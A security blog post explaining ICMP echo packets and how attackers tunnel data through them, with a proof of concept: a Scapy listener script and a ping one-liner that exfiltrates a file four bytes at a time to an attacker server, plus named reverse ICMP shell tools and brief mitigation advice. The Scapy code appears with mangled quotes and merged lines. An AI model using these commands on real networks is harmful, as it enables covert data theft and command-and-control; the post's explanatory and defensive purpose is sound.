How does ICMP tunneling work and how can it be used for malicious purposes ?

by mrahier96

How does ICMP tunneling work and how can it be used for malicious purposes ?

by mrahier96

by mrahier96

The ping command is one of the first commands you learned when coming to the IT world. And yet, it is possible that it is still hiding secrets from you.

Through this blog post, I will demonstrate how attackers could use the protocol behind this command to bypass firewall rules leading to data exfiltration or communication with a command and control.

How does the Internet Control Message Protocol (ICMP) work ?

The ping command use the Internet Control Message Protocol (ICMP) which is a supporting protocol in the Internet protocol suite.

It is used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address for example. An error is indicated when a requested service is not available or if that a host could not be reached.

In fact, when you use the ping command, two types of control messages are used:

  • The type 0 which is an Echo Reply.
  • The type 8 which is an Echo Request

From the RFC792 which defines ICMP for IPv4, the fields for an echo or reply message are the following :

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
| Type | Code | Checksum |
| Identifier | Sequence Number |
| Data …

As an attacker, the data field is the one useful to communicate. In a usual case of pinging, the data received in the echo request message must be returned in the echo reply message. That’s how we know that a remote host is reachable.

An In-depth examination of the topic

Let’s see an example, below is a ping initiated from a Windows machine.

Example of a Ping initiated from a Windows machine.

Figure 1 – Ping initiated from Windows machine

The ping is successful and from the output, two values should be noticed :

  • The TTL (Time To Live) value which could be used to help you identify the kind of OS of the remote machine. For a TTL value <= 64, it’s usually a Unix based OS.
  • The bytes value which is the length of the data, in this case the data is 32 bytes long.

Analysing the same ping using Wireshark showed that each echo request from my Windows machine sends the alphabet by default. As expected, the same data is returned by the remote Linux machine.

Windows ping analysis

Figure 2 – Windows ping analysis

However sending the alphabet is not mandatory. In fact, the ICMP protocol allows sending any data as we want.

To prove it, let’s initiate a ping from the Linux machine this time. By default the Windows host firewall deny the ICMP Echo Request IN so the according rule should be open.

Ping initiated from Linux machine

Figure 3 – Ping initiated from Linux machine

This time we can notice that the TTL value is <= 128. This indicates a reply from a Windows machine.

Analysing the ping showed the alphabet is not sent anymore and the data is longer than 32 bytes.

Linux ping analysis

Figure 4 – Linux ping analysis

However, 48 bytes are still far from the maximum allowed. Indeed, because ICMP is built on top of the IP layer, in its version 4, the maximum size allowed by these packets is 65535 bytes. Removing the headers of IP (20 bytes at least) and ICMP (8 bytes), it is possible to have 65507 bytes of ICMP data.

But if we assume the maximum transmission unit is set to 1500 (which is the default for ethernet), the maximum payload without fragmentation is limited to 1472 bytes (1500 – 20 -8). In case of fragmentation, the server should be able to handle multiple icmp requests and add their data together.

A Simple Proof of Concept (PoC)

As shown in the previous experience, we can communicate different data with different lengths through ICMP request and reply. Knowing that, we could exfiltrate the content of a file or performed commands send by a command and control server using ICMP.

However, to do this, we first need to disable ICMP replies from our attacker server by running the following command as root :

sysctl -w net.ipv4.icmp_echo_ignore_all=1

Otherwise, the client is unlikely to receive commands send from the server because automatic replies will send back the same data.

Once the command done, pinging from our Windows machine now print a request timed out because no data is returned.

Request timed out because no reply received

Figure 5 – Request timed out because no reply received

Analysing from the Linux machine showed the communication is one-way.

Analysing the one-way communication from Linux machine.

Figure 6 – ICMP automatic replies disabled

Let’s craft a simple Proof of Concept to exfiltrate a file content based on ICMP request. To do this, a very useful python library named Scapy was used.

Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.

On the server side, this simple script which should be run as root will just listen for ICMP on the wire. For each packet received, it will run the exfiltration function which parse and collect the last 4 bytes of the ICMP data using the load method.

from scapy.all import ICMP,sniffinterface = “eth0”
remote_host = “”def exfiltration(packet):
if packet.haslayer(ICMP):
if packet[ICMP].type == 8:
data = packet[ICMP].load[-4:]
print(data. Decode(‘utf-8’), flush=True, end=””)sniff(iface=interface, filter=”icmp and host “+remote_host, store=True, prn=exfiltration)

Client side, on a Linux machine, we could exfiltrate a file using this simple command :

xxd -p -c 4 test.txt | while read line; do ping -c 1 -p $line; done

Where test.txt is the file we want to exfiltrate. Notice this is very long because the data is sent 4 bytes by 4 bytes, the -p option of the default ping binary allow up to 16 bytes.

Otherwise we could also use Python and Scapy to send data more rapidly by crafting our ICMP packets.

Finally, if we were on a Windows machine, the native ping binary has no options to custom the icmp data. We could run a crafted exe but there is usually fewer restrictions regarding companies policies on PowerShell which allows to perform this customisation like in the tool Invoke-PowerShellIcmp.ps1.

Discover a Suite of Complete Tools to get an ICMP shell

The previous PoC is not optimised because it is a one-way communication and all the data bytes available for the protocol were not used. This leads me to introduce a suite of complete tools which exploit fully the ICMP protocol in a form of a shell.

First, Icmpsh which is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C, Perl or Python2. It does not require administrative privileges to run onto the target machine but an executable should be dropped on the machine, which can be hard to do in case of endpoint hardening for example. Furthermore, Invoke-PowerShellIcmp.ps1 is a client compatible with icmpsh and could be more easily dropped on the client machine.

Next, icmpdoor is a shell written with Python3 and Scapy, it comes with an executable to run it directly on Windows.

Below is an example of the above tool running. From the Linux C2 machine, I’m able to run command on the Windows target machine, through ICMP.

Connection to the C2 from the victim machine.

Figure 7 – Connect to the C2 from the victim machine


Example of ICMP tunnelling from the C2.

Figure 8 – Running commands through ICMP tunnelling from the C2

How to mitigate ?

You should now ask yourself how mitigate this. Well, there is a radical option which consists to block ICMP traffic and so ICMP tunnelling. But in practice, many companies don’t want to lose the ping functionality that is very useful in many situations for debugging purposes.

Another way to mitigate this type of attack is to only allow fixed sized ICMP packets through firewalls, which can impede this kind of behavior. But again, an attacker could craft ICMP packets with a length which look like legitimate (e.g 32 bytes of data).

The best answer, in my opinion, is to disable ICMP outgoing traffic and enable ICMP traffic inside only where it is necessary. Furthermore, defenders should monitor carefully on the wire for suspect behaviors such as ICMP request without default value as data.


If you like this article, discover other related articles addressing privileged access management or cybersecurity articles on Excellium Services blog.

Author : Alexandre Guldner